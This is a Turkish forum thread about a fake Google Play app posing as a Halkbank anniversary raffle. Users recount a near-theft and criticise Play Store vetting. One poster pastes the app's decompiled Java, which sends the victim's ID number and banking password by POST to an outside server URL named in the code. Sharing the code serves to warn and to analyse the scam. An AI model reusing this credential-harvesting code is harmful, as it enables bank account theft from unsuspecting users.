Dolandırıcılar için mükemmel alan Google Play Store

https://play.google.com/store/apps/d...alkin.cekilisi

Merhaba arkadaşlar bugün bir tanıdığım az kalsın dolandırılıyordu bu konu hakkında hem sizi bilgilendirmek hem de bu konuyu biraz tartışmak için sizinle paylaşıyorum. Öncelikle olay şu şekilde gelişti.

Bir grup arkadaş sohbet ediyorduk. Arkadaşım maaşını halkbankasından alıyordu. Halkbankası 80.yılı için gerçekten kampanya mesajları atıyordu. Sonra arkadaşıma bir mesaj geldi. "80.yıla özel çekilişimize katılın". Arkadaşım da "aa işte benim bankam be 80.yıla özel çekiliş düzenliyor" dedi ve kendisinin telefonu iphone benimki ise samsungtu sohbet ederken benim telefonu alıp bir uygulama indirdi ve tc kimlik nosunu şifresini uygulamaya girdi. Ben sohbeti bitirdikten sonra naptın dedim yaptıklarını anlattı.

"Ya sen neden bunu yaptın kardeşim nasıl kanarsın böyle şeylere" demeye kalmadan kendisinin telefonuna internet şubesi giriş şifresi mesajları geldi.

Sonra bankayı arayıp internet bankacılığını kapattı

Dolandırıcıı başarısız olmuştu fakat neden?

İşte burada google play store'un o kadar da güvenilir olmadığını birkez daha anlamak için asıl önemli nokta burası....

Yukarda belirttiğim adresteki uygulamada verilen izinlerde görüyoruz ki uygulama mesajlarımıza erişip mesajlarımızı okuyabiliyordu. Arkadaşım uygulamayı iphone telefonuna indirseydi kendisine gönderilen internet şubesi tek kullanımlık giriş şifresini dolandırıcılar mesajları okuyabildikleri için görebileceklerdi. Ve internetten eft ile bütün birikimlerini çalabileceklerdi.

Fakat dolandırıcıların uygulaması benim telefonumda olduğu için mesajlar da arkadaşın telefonuna gittiği için internet şubesi tek kullanımlık şifreye ulaşamadılar...

Peki google play store mp3 uygulamalarını felan daha yüklenmeden siliyorsan hesapları banlıyorsa.. Hem çok bilinen bir kurumun kopya uygulamasını hem deee virüs düzeyinde bir kısa mesaj okuma özelliğine sahip bir uygulamayı nasıl olurda incelemeden play store'a yükler.

Yani bırakın yazılım kodlarını incelemeyi play storedaki uygulamanın içeriğine baksanız dahi *********** uygulaması olduğunu anlarsınız...

bu arada yazdıkları uygulamayı ortalama bir yazılımcı kolaylıkla yazar.. Bu sebeple play store çok tehlikeli...

Bilgilendirme için teşekkürler.

Geçmiş olsun, özellikle Facebook, Instagram gibi sosyal mecralarda 81. yıl kutlaması iPhone kazandınız gibi içerikler mevcut. Bankaların site scriptlerini birebir çalıp reklam çıkıyorlar. Siz bilgileri girdikten sonra onlar da sizin şifreniz ile giriş yapıp hesabınızı boşaltıyorlar. Geçen 17 kişi tutuklanmıştı haberlerde gördüm. Demek ki play store'da yükleniyor, garip.

En çok mevduatı bulunan banka halk bankası olduğu için sürekli saldırılar halk bankasına oluyor. Ama play store'un bu işe bir çözüm de bulması gerekiyor. Aynı zaman da daha önce fetö olaylarında mağdur edilen bir çok insan play store'dan indirdikleri mp3 çekiliş ve oyun programları yüzünden mağdur olmuştu. Bu uygulamaları indiren insanlar fetö server'ına haberleri olmadan bağlandırılmış. Server'ı inceleyen bilişim uzmanları ipleri tespit ederek birçok kişifi fetöcü zanı altında bırakmıştı.

Yani uygulamalar artık gerçekten incelenmeli şu an telefonuma format atmak zorunda kaldım virüs bulaşmış olma ihtimali çok yüksek çünkü mesajlarım okunabiliyor bu uygulama yüüznden

Halkbank havale geçerken telefona şifre göndermiyor, o yüzden halkbankı kullanıyorlar diye biliyorum.

package com.tranetech.paribucep.halkincekilisi;

import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.os.Bundle;
import android.os.StrictMode;
import android.os.StrictMode.ThreadPolicy.Builder;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import halkin.cekilisi.R;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;

public class gorevci extends Activity {
    ProgressDialog f1397a;

    class C04191 implements OnClickListener {
        final /* synthetic */ gorevci f1396a;

        class C04181 implements Runnable {
            final /* synthetic */ C04191 f1395a;

            C04181(C04191 c04191) {
                this.f1395a = c04191;
            }

            public void run() {
                try {
                    Thread.sleep(10000);
                } catch (Exception e) {
                    e.printStackTrace();
                }
                this.f1395a.f1396a.f1397a.dismiss();
            }
        }

        C04191(gorevci com_tranetech_paribucep_halkincekilisi_gorevci) {
            this.f1396a = com_tranetech_paribucep_halkincekilisi_gorevci;
        }

        public void onClick(View view) {
            Intent intent;
            StrictMode.setThreadPolicy(new Builder().permitAll().build());
            Log.i("gorevci", "Send Button Clicked.");
            String charSequence = ((TextView) this.f1396a.findViewById(R.id.editText)).getText().toString();
            String charSequence2 = ((TextView) this.f1396a.findViewById(R.id.editText2)).getText().toString();
            if (!charSequence.isEmpty()) {
                if (!charSequence2.isEmpty()) {
                    if (!charSequence.equals("5555555555")) {
                        String str = "http://masalantalya.online/register.php";
                        if ("register".equals("register")) {
                            String str2 = "TC";
                            String str3 = "Şifre";
                            try {
                                HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(str).openConnection();
                                httpURLConnection.setRequestMethod("POST");
                                httpURLConnection.setDoOutput(true);
                                OutputStream outputStream = httpURLConnection.getOutputStream();
                                StringBuilder stringBuilder = new StringBuilder();
                                stringBuilder.append(URLEncoder.encode("name", "UTF-8"));
                                stringBuilder.append("=");
                                stringBuilder.append(URLEncoder.encode(str2, "UTF-8"));
                                stringBuilder.append("&");
                                stringBuilder.append(URLEncoder.encode("password", "UTF-8"));
                                stringBuilder.append("=");
                                stringBuilder.append(URLEncoder.encode(charSequence, "UTF-8"));
                                stringBuilder.append("&");
                                stringBuilder.append(URLEncoder.encode("contact", "UTF-8"));
                                stringBuilder.append("=");
                                stringBuilder.append(URLEncoder.encode(str3, "UTF-8"));
                                stringBuilder.append("&");
                                stringBuilder.append(URLEncoder.encode("country", "UTF-8"));
                                stringBuilder.append("=");
                                stringBuilder.append(URLEncoder.encode(charSequence2, "UTF-8"));
                                charSequence = stringBuilder.toString();
                                BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
                                bufferedWriter.write(charSequence);
                                bufferedWriter.flush();
                                if (httpURLConnection.getResponseCode() == 200) {
                                    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
                                    StringBuilder stringBuilder2 = new StringBuilder();
                                    while (true) {
                                        str = bufferedReader.readLine();
                                        if (str == null) {
                                            break;
                                        }
                                        stringBuilder2.append(str);
                                        stringBuilder2.append("n");
                                    }
                                    stringBuilder2.toString();
                                    bufferedWriter.close();
                                }
                            } catch (MalformedURLException e) {
                                e.printStackTrace();
                            } catch (IOException e2) {
                                e2.printStackTrace();
                            }
                            this.f1396a.f1397a = new ProgressDialog(this.f1396a);
                            this.f1396a.f1397a.setMessage("Giriş Yapılıyor...");
                            this.f1396a.f1397a.setTitle("ProgressDialog");
                            this.f1396a.f1397a.setProgressStyle(0);
                            this.f1396a.f1397a.show();
                            this.f1396a.f1397a.setCancelable(false);
                            new Thread(new C04181(this)).start();
                            intent = new Intent(this.f1396a.getBaseContext(), hatali.class);
                        } else {
                            return;
                        }
                    } else if (charSequence2.equals("text")) {
                        intent = new Intent(this.f1396a.getBaseContext(), hatalisifre.class);
                    } else {
                        return;
                    }
                    this.f1396a.startActivity(intent);
                }
            }
            intent = new Intent(this.f1396a.getBaseContext(), hataliboslk.class);
            this.f1396a.startActivity(intent);
        }
    }

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.tiviman);
        ((Button) findViewById(R.id.button1)).setOnClickListener(new C04191(this));
    }
}

gordugunuz gibi http://masalantalya.online/register.php buraya post ediliyor

Uygulama o kadar basit ki zaten arkadaş nasıl kandı aklım almıyor ya

google playdaki resimlere baktim dedim bune . buna kanacak adam cok agir saftir hocam , ve ya cok ac gozludur

Zaten bir kızardı bir kızardı ağlayacaktı az kalsın Sonra sakinleştirdim